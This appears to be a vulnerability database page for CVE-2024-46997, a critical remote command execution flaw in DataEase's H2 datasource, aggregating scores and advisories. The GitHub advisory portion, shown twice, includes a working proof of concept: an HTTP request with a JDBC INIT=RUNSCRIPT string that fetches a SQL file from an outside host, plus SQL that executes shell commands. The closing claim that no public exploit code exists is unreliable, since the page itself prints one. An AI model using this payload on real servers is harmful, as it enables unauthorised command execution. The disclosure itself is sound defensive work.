CVE-2024-46997
DataEase's H2 datasource has a remote command execution risk
DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, an attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. The vulnerability has been fixed in v2.10.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.8
DataEase's H2 datasource has a remote command execution risk
DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, an attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. The vulnerability has been fixed in v2.10.1.
- Record
CVE-2024-46997- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-74
- Updated
- 2026-11-02
EUVDEUVD-2024-2809
9.8
DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, an attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. The vulnerability has been fixed in v2.10.1.
- Record
EUVD-2024-2809- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-h7mj-m72h-qm8w
9.3
DataEase's H2 datasource has a remote command execution risk
Impact
An attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.
request message:
POST /de2api/datasource/validate HTTP/1.1
Host: dataease.ubuntu20.vm
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-DE-TOKEN: jwt
Content-Length: 209
Content-Type: application/json
{
"id": "",
"name": "test",
"type": "h2",
"configuration": "eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ=="
}
h2 data source connection string:
// configuration
{
"jdbc": "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);",
}
the content of poc.sql:
// poc.sql
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('touch /tmp/jdbch2rce')
You can see that the file was created successfully in docker:
/tmp # ls -l jdbch2rce
-rw-r--r-- 1 root root 0 Sep 16 22:02 jdbch2rce
Affected versions: <= 2.10.0
Patches
The vulnerability has been fixed in v2.10.1.
Workarounds
It is recommended to upgrade the version to v2.10.1.
References
If you have any questions or comments about this advisory:
Open an issue in https://github.com/dataease/dataease Email us at [email protected]
- Record
GHSA-h7mj-m72h-qm8w- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-74
- Updated
- 2026-11-02
NVD
9.8
DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, an attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. The vulnerability has been fixed in v2.10.1.
- Record
CVE-2024-46997- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-74
- Updated
- 2026-11-02
OSV
9.8
DataEase's H2 datasource has a remote command execution risk
DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, an attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. The vulnerability has been fixed in v2.10.1.
- Record
CVE-2024-46997- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-74
- Updated
- 2026-11-02
OSVGHSA-h7mj-m72h-qm8w
9.3
DataEase's H2 datasource has a remote command execution risk
Impact
An attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.
request message:
POST /de2api/datasource/validate HTTP/1.1
Host: dataease.ubuntu20.vm
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-DE-TOKEN: jwt
Content-Length: 209
Content-Type: application/json
{
"id": "",
"name": "test",
"type": "h2",
"configuration": "eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ=="
}
h2 data source connection string:
// configuration
{
"jdbc": "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);",
}
the content of poc.sql:
// poc.sql
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('touch /tmp/jdbch2rce')
You can see that the file was created successfully in docker:
/tmp # ls -l jdbch2rce
-rw-r--r-- 1 root root 0 Sep 16 22:02 jdbch2rce
Affected versions: <= 2.10.0
Patches
The vulnerability has been fixed in v2.10.1.
Workarounds
It is recommended to upgrade the version to v2.10.1.
References
If you have any questions or comments about this advisory:
Open an issue in https://github.com/dataease/dataease Email us at [email protected]
- Record
GHSA-h7mj-m72h-qm8w- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-74
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
io.dataease:commonMaven |
through 2.10.0 | 2.10.1 |
io.dataease:commonMaven |
before 2.10.1 | 2.10.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-46997 is a critical vulnerability (CVSS 9.8) in Dataease, published September 23, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.44%, the 73rd percentile. Fixed in io.dataease:common 2.10.1.